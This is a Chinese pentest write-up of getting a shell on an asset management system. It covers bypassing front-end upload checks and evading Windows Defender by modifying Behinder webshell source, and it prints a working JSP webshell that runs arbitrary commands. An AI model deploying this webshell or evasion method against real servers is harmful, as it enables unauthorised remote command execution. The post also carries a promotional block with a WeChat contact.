某資產管理系統打點過程中的免殺經歷

上週初,被扔過來單位內部的一個鏈接,讓滲透一下,本以爲三下五除二很快就能測完,沒想到在對抗殺軟時費了一番功夫,再加上雜七雜八的事兒,經過了一個星期才測完(# ̄~ ̄#)。打開鏈接,見到一個熟悉的登錄框,是一個資產管理系統。

image-20240305135531906

在進行了一番端口目錄、認證機制、會話管理、授權訪問等方面的檢查後發現了一些問題,這裏不做贅述,此次重點想寫寫拿shell的經歷。進入主頁面,沒用多長時間就找到了上傳點,而且有兩個。一個是頭像上傳,涉及裁剪、壓縮等操作。

image.png

另一個是工具上傳,允許直接上傳文件(包)。兩全傷害取其輕,就用這個。

image-20240305135557336

創建個txt,隨便加點內容進去,burp抓包看看這個功能的情況。

image.png

上傳成功,並且有回顯路徑,有戲。

image.png

訪問一下文件地址也展現出來了,直接上馬子試試。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

image.png

被阻斷,不允許上傳.java、.class、.jsp、.html等類型文件。一看就是之前經歷過滲透測試,喫過虧(事後查了一下這家軟件公司,做了不少企業的資產管理系統,是個成熟的項目,而且公司在2023年中已經上市,儘管在北交所,也必然會遵循一定的代碼規範)。剛纔上傳用的是冰蠍4,查看burp的history中並無請求出現,證明是前端驗證。嘗試繞過前端驗證,直接將冰蠍源碼上傳。

image.png

成功繞過,並且返回了文件路徑……這就要完活兒了?!似乎有些輕鬆。訪問一下:

image.png

404,文件沒了。緊接着又拿哥斯拉試了一遍,同樣是返回了路徑,同樣是404……猜測可能有殺軟,落地文件被刪除。接下來要做免殺了,使用在線工具對webshell進行變異,上傳後一路404,更加確定殺軟的存在。並且這款殺軟的靜態特徵檢測庫還很全,如果僅僅混淆邊邊角角的代碼是無法過它的,猜測它是能夠匹配關鍵代碼、關鍵API。

image.png

變異的厲害了還拋出了500,破壞了webshell自身的邏輯,甚至是添加了錯誤代碼。看來省事兒的方式效果不理想,想要落地還是得自己動手,ε=(´ο`*)))唉。

image.png

最後使用了一個加長版的一句話木馬才成功落地,請求如下:

image.png

訪問文件路徑並帶上whoami。

image.png

直接就是administrator管理員。此馬兒與傳統的一句話jsp一樣,也是用Runtime來執行命令,只不過前面加了一個參數pwd固定值判斷,後面使用System.out來print一個String,並且這個String是命令執行的結果。

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

但是蟻劍不給力,連接時報500。嘗試了多種設置均以失敗告終,哪位大神研究過蟻劍還請指導一下,Thanks♪(・ω・)ノ。

image.png

測試到這個地步對於這個活兒來說其實可以交差了,已經拿到了權限,但如果想進行橫向的話是無法繼續利用的,所以還是要做免殺。掏出珍藏多年的idea(鄙視自己一下ε(┬┬﹏┬┬)3),打開冰蠍,調好格式,嘗試做混淆。鑑於前面踩過坑,已經瞭解到該殺軟能夠檢測到關鍵代碼,所以直接分析源碼。作爲webshell,回顯是必須的功能,而對於冰蠍來說,response數據來自於request.getReader().readLine()。因此直接對第18行動手,先用註釋嘗試一下,隨便填加一些字符。

image.png

發送請求:

image.png

成功。訪問一下回顯路徑:

image.png

空白頁,沒有報404,證明文件確實落地了,沒有被殺掉。上冰蠍:

image.png

連接成功!免殺完畢。這次是真的可以交差了。進來後第一件事兒就是看看到底是哪個殺軟在作祟:

1705547941849.png

MsMpEng.exe,微軟的Windows Defender。

image.png

好奇心驅使,又拿了一個原版的冰蠍本地驗證一下,果不其然,被秒殺(圖中右上角的文件):

image.png

總結,這次拿shell的過程主要是在對抗殺軟上耗費了很多時間,其次是在尋找殺軟的進程上。因爲服務器上一般都有專業殺毒軟件或者HIDS防護,沒有想到是Windows自己的Defender。雖然在寫的時候只用一句話一張圖帶過,但在搜索進程的時候還特地整理了一份常見殺軟的表格,挨個兒比對纔有了最後那張圖。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章